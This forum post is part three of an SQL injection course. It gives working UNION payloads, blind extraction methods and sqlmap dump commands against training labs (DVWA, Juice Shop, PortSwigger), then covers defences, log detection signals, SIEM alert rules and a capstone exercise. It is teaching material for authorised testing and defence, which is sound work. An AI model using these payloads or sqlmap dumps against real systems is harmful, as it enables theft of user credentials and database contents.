

Forum: [Hack Forums](#)

Thread: [SQL Injection: A Complete Course part three](#)

ICTKUN - September 20, 2026, 2:15 am

Make sure you read part 1 and 2

Every table and column. DVWA's user table is users, with user and password.

Dump it:

Code 1' UNION SELECT user, password FROM users --

If only the first row shows, concatenate:

Code 1' UNION SELECT GROUP_CONCAT(user), GROUP_CONCAT(password) FROM users --

You now have every username and MD5 hash in the lab DB. Crack one to see the plaintext. The lesson: hashing without salting means a dump is a credential dump.

5.2 Juice Shop — API dump

Juice Shop's search is SQLite. SQLite has no information_schema; it has sqlite_master:

Code q=apple')) UNION SELECT sql,2,3,4,5,6,7,8,9 FROM sqlite_master --

Exact quote/paren count depends on the query shape — fuzz it, the errors guide you. Once you can read sqlite_master.sql, you see the Users table schema. Then:

Code q=apple')) UNION SELECT email,password,3,4,5,6,7,8,9 FROM Users --

Emails and MD5 hashes. The admin's is crackable — that's the intended path for several Juice Shop challenges.

5.3 PortSwigger — retrieving data from other tables

Lab "SQL injection UNION attack, retrieving data from other tables":

Query returns 2 columns, both text. Target table is users, columns username, password.

Code ' UNION SELECT username, password FROM users --

Log in as administrator with the extracted password. Lab solved.

5.4 Blind dump

When you can't see output, extract one character at a time.

Boolean, DVWA Blind. Is the first character of the DB name d?

? loading encrypted image...

Page behaves one way if true, another if false. Walk the alphabet. Then position 2. Then 3. Tedious

— which is why people automate it.

Time-based, no output at all.

? loading encrypted image...

5-second delay = true. No delay = false. Same extraction, different channel.

The lesson from doing it manually: this is why automated tools exist, and why rate limiting and latency monitoring are real defenses. Extracting a 20-character string one character at a time takes hundreds of requests. A defender alerting on "500 requests to one endpoint from one IP in 5 minutes, many with >3s response time" catches this in progress.

5.5 sqlmap (only after you can do it by hand)

Against your local DVWA:

```
Code sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \  
--cookie="PHPSESSID=your_session; security=low" \  
--batch --dbs
```

Then

```
Code sqlmap -u "..." --cookie="..." -D dwwa -T users --dump
```

If you can't explain what sqlmap just did, go back to Part 4. The tool is a force multiplier on understanding, not a replacement for it.

5.6 Defensive lesson

Code What made the dump possible, layer by layer:

String concatenation — the bug. Fixed by parameterization.

Verbose errors — the roadmap. Fixed by generic error handling.

Over-privileged DB user — the blast radius. information_schema access, cross-table reads. Fixed by least privilege.

Unsalted hashes — credential exposure. Fixed by bcrypt/argon2 with per-user salt.

No rate limiting / no latency alerting — invisibility. Fixed by WAF rules + the detection rules below.

No output encoding on reflected data — the echo channel. Fixed by not echoing raw query results, and context-aware output encoding.

Parameterization fixes #1. The rest are why "we parameterize" isn't a complete answer to "are we safe."

Part 6 — Detection (What It Looks Like in Logs)

You can't fix what you can't see. This part is for defenders — what to alert on, what to ignore, and how to build something that fires.

6.1 Signatures (start here, don't stop here)

Obvious payload strings in request parameters, headers, or POST bodies:

? loading encrypted image...

A regex over your web logs for these is a fine first pass. It's also trivially bypassed — encodings, case changes, comments (UN/**/ION), whitespace tricks. Signature matching catches the noisy 80%. The quiet 20% is where you lose.

6.2 Better signals

. Anomalous characters in parameters.

A user_id field that's supposed to be numeric suddenly contains ', --, /*, or %27. Alert on type violations, not just keywords. Cheap, high signal.

2. Error rate spikes.

A burst of 500s from one IP against endpoints that normally return 200 is either a broken client or someone probing. Either way, look.

3. Response time anomalies.

Time-based blind SQLi shows up as a handful of requests taking 5–10 seconds each, repeatedly, from the same source. If your p99 latency jumps and it correlates with one IP hitting one endpoint, that's not traffic — that's extraction.

4. Sequential parameter fuzzing.

An attacker enumerating a DB with blind SQLi sends hundreds of requests differing by one character (SUBSTRING(...,1,1)='a', then 'b', then 'c'...). The pattern: same endpoint, same source, tiny variations, high volume, over minutes. Detect the shape, not the payload.

5. Auth failures followed by success.

Classic ' OR '1'='1 auth bypass shows up as a login attempt that "failed" in the app's logic but returned a session. If your auth logs and web logs disagree, that's worth a page.

6.3 Building the alert

In Splunk, Elastic, or Sentinel, roughly:

Code Rule 1: keyword match on obvious payloads, low severity, tuned to ignore your own scanners

Rule 2: non-numeric characters in numeric parameters, medium

Rule 3: >N 500-errors from one IP to one endpoint in 5 minutes, medium

Rule 4: >M requests to one endpoint from one IP with response times >3s in 10 minutes, high

Rule 4 catches real blind SQLi. It's also the one most teams don't have.

6.4 When it fires

Code Identify the source IP and endpoint. Internal? Scanner? Customer?

Pull the full request. Parameter, payload, response.

Check the DB user's privileges. If it's not least-privilege, that's a finding on its own.

Check for data exfil. Response size spike? Large SELECT in the DB log?

Rotate credentials if there's any chance of compromise. Then fix the query.

6.5 The uncomfortable truth

If SQLi is possible in your app, detection is the consolation prize. Parameterized queries are the fix. Alerts buy you time while you ship the fix. Don't confuse the two.

Part 7 — Capstone

Code Do this without a walkthrough:

DVWA, Medium security. The query now uses `mysql_real_escape_string` and a different quote style. Find the bypass. (Hint: numeric context, no quotes needed.)

DVWA, High security. Input is limited to one character via `LIMIT` and a session check. Find the flaw.

Juice Shop. Solve the "Login Admin" challenge via SQLi, and the "User Credentials" challenge via the search endpoint.

PortSwigger. Complete all five SQLi labs listed in Part 4.4 without reading solutions.

Write it up. For each: endpoint, parameter, payload, result, root cause, fix, detection. That writeup is the deliverable. That's what a real engagement produces. The dump is a means; the report is the end.

Closing

The arc of this guide is deliberate: recon -> test -> dump -> defend -> detect. You learn to find the input points, confirm the bug, extract the data, then flip to the other side and see exactly which failures made each step possible — and how to close them.

The only durable reason to learn this is to fix it. If you walk away able to find and fix SQLi in your own code, this course did its job. If you walk away able to point sqlmap at a stranger's site, it failed, and so did you.

Run the labs. Do the writeups. Then go parameterize something.

Everything in this guide is for targets you own or are explicitly authorized to test. If a target isn't in scope, it isn't a target.